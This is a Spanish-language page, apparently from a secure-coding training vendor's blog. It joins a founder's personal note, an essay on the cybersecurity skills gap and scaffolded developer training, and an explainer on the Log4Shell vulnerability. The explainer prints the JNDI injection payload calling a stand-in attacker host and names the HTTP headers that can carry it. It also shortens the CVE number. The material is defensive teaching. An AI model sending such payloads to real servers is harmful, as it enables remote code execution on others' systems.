Aparte de la nueva energía en mi equipo de gestión, también estoy muy orgulloso de que una de las fundadoras de SCW, Fatemah Beydoun, haya sido ascendida a Directora de Clientes y de que Anneke Loubser dirija ahora con éxito nuestros equipos de Personas y Cultura en todo el mundo. 

Mamá 

Recuerdo que mi madre me llamó hace unos años y estaba muy emocionada. Me dijo que había pasado por delante del edificio que albergaba nuestra primera oficina en Brujas y que se había fijado en el rótulo de Secure Code Warrior en la ventana. "¡Ahora sois una empresa de verdad!", dijo. 

Creo que por fin estoy empezando a creerla, y estoy deseando compartir el siguiente capítulo con vosotros.

Con sólo unos minutos de navegación por las noticias tecnológicas, queda claro lo peligroso que se está volviendo el panorama de las amenazas. Cada día parece traer consigo un informe de una brecha importante, una nueva vulnerabilidad o una amenaza extrema de explotación activa por parte de ciberatacantes y delincuentes. Y casi todas las métricas e informes del sector muestran un número cada vez más peligroso de ciberamenazas, y la mayoría de los expertos predicen que esta tendencia continuará durante los próximos años.

Para hacer frente a estas nuevas amenazas hay una primera línea de trabajadores de seguridad informática agotada y con poco personal. A pesar de los elevados salarios y de ser casi indispensables para cualquier empresa u organización, nunca hay suficiente personal de seguridad. En una encuesta reciente llevada a cabo por el Centro de Estudios Estratégicos e Internacionales, el 82% de los responsables de la toma de decisiones en materia de TI afirmaron que sus organizaciones sufrían una escasez de competencias en materia de ciberseguridad, y el 71% dijo que la escasez había provocado daños directos y cuantificables en sus organizaciones. Sólo en Estados Unidos, el informe señalaba que había más de 520.000 puestos de trabajo de ciberseguridad sin cubrir en un campo en el que sólo hay unos 940.000 empleados.

En todo el mundo hay actualmente unos 3,5 millones de puestos de trabajo de c iberseguridad sin cubrir, lo que significa que incluso las organizaciones que están dispuestas a pagar enormes cantidades de dinero para contratar y retener a profesionales de alto nivel tienen problemas para encontrar candidatos adecuados. De media, se tarda un 21% más en cubrir un puesto de ciberseguridad que cualquier otro trabajo, si es que se puede cubrir.

La capacitación de los desarrolladores ha sido ignorada durante demasiado tiempo

En muchos blogs anteriores hemos señalado que se puede recurrir a los desarrolladores para cubrir algunas de esas lagunas críticas en las defensas de ciberseguridad. Lo que ocurre es que, tradicionalmente, los desarrolladores nunca han recibido formación en materia de ciberseguridad. Su rendimiento laboral se basaba casi por completo en la velocidad y el tiempo de despliegue. La seguridad era el trabajo de los equipos de AppSec más adelante.

Desgraciadamente, no es sólo cuestión de cambiar de marcha y pedir a los desarrolladores que de repente empiecen a añadir seguridad a sus aplicaciones y programas. Incluso si están dispuestos a hacer esos cambios, y las encuestas han demostrado que muchos de ellos lo están, siguen necesitando formación para hacerlo. También necesitan el estímulo y el apoyo de la alta dirección, pero el primer obstáculo, y a menudo el más grande, es que se les facilite un aprendizaje significativo.

Hay una razón por la que millones de puestos de trabajo de seguridad informática altamente remunerados y seguros siguen sin cubrirse en todo el mundo. Si fuera un trabajo fácil, todo el mundo se lanzaría a ese campo. Aprender a combatir las amenazas y eliminar las vulnerabilidades del código es difícil, y el panorama de las amenazas cambia constantemente. Tratar de enseñar ciberseguridad, incluso a desarrolladores relativamente expertos en tecnología, no puede hacerse de forma eficiente utilizando una formación estática que caduca rápidamente y no es memorable, y tendrá un impacto positivo mínimo, especialmente si esos requisitos se añaden a sus ya sobrecargados horarios.

Construir un andamio para llegar a un terreno más alto

Enseñar conocimientos de ciberseguridad con métodos tradicionales es como intentar construir un rascacielos sin levantar los pies del suelo. No es posible porque los estudiantes no tienen la base necesaria para dominar los numerosos conceptos de alto nivel de un campo complejo como la ciberseguridad. Para compensar, se puede emplear el concepto de aprendizaje con andamios.

Cuando se utiliza un enfoque de andamiaje o "por capas" para mejorar las competencias, los temas más amplios se suelen dividir en experiencias de aprendizaje o conceptos discretos. Esto garantiza que los alumnos puedan dominar cada concepto mediante ejercicios e instrucciones adecuadas, proporcionando todo el apoyo necesario para cada componente. Los conceptos más nuevos y avanzados se superponen a los que ya se dominan, al igual que se construye un andamiaje físico a medida que un edificio crece. De este modo, los alumnos son capaces de alcanzar niveles de comprensión y adquisición de destrezas superiores a los que podrían dominar sin ayuda.

Y, al igual que el andamiaje físico, ese apoyo se retira gradualmente cuando ya no es necesario, con más responsabilidad para los estudiantes a medida que se vuelven cada vez más competentes.

El aprendizaje con andamios se utiliza principalmente para reducir las emociones negativas y la autopercepción que los estudiantes pueden experimentar cuando se sienten frustrados, intimidados o desanimados al intentar una tarea difícil sin ayuda. Pero también puede tener mucho valor cuando se trata de abordar un concepto extremadamente difícil como la ciberseguridad moderna. Lejos de ser una forma de tratar a los desarrolladores como niños, es inmensamente útil cuando su experiencia con el equipo de seguridad puede tener el mismo efecto de ser frustrante y desalentador, especialmente cuando su duro trabajo es devuelto con correcciones de errores y una nueva ración de críticas. 

Cuando los desarrolladores reciben herramientas para entender los fundamentos de la codificación segura (normalmente comenzando con el OWASP Top 10), pueden ver por sí mismos cómo se producen los fallos de seguridad, por qué son peligrosos y cómo remediarlos antes de que acaben en producción. A partir de ahí, pueden ampliar sus conocimientos abordando vulnerabilidades más complejas y adquiriendo experiencia práctica en la aplicación de buenas correcciones. Las capas crecen, poco a poco, y luego, cuando se trata de problemas de seguridad avanzados, como la arquitectura de software insegura, o la participación en el modelado de amenazas, estos saltos no parecen tan intimidantes y pueden ser abordados con precisión.

Como industria, nunca debemos esperar que los desarrolladores se conviertan en expertos en seguridad, pero las organizaciones pueden adoptar nuevos estándares para la capacitación de los desarrolladores de manera que puedan producir software de mayor calidad. Como ventaja añadida para las organizaciones con ingenieros que están actualizando sus conocimientos, cada paso del camino, o cada nivel de andamiaje, se traducirá directamente en una mejor ciberseguridad a medida que vayan aprendiendo. No es necesario esperar hasta el final de un curso para ver los resultados.

Aprender sobre ciberseguridad es difícil, y dominarla es casi imposible sin el tipo adecuado de ayuda e instrucción. Adoptar un programa de seguridad con un aprendizaje andamiaje puede ayudar a sacar el máximo provecho, con beneficios que se hacen evidentes casi de inmediato. Las mejoras comenzarán casi inmediatamente, y mejorarán continuamente con el tiempo.

Empiece a crear desarrolladores fuertes en materia de seguridad con nosotros; eche un vistazo:

Courses
Missions
Formaciónpara desarrolladores

... ¡y mucho más!

El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.

¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell? 

Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.

¿Antiguas noticias?

El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.

Vector de ataque

El payload de inyección de Log4Shell tiene este aspecto:

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.

Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.

Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".

La prevención: Concienciación

La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.

Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras. 

¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.

Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.

Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.

Mejore sus habilidades para defenderse de Log4Shell

¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.

‍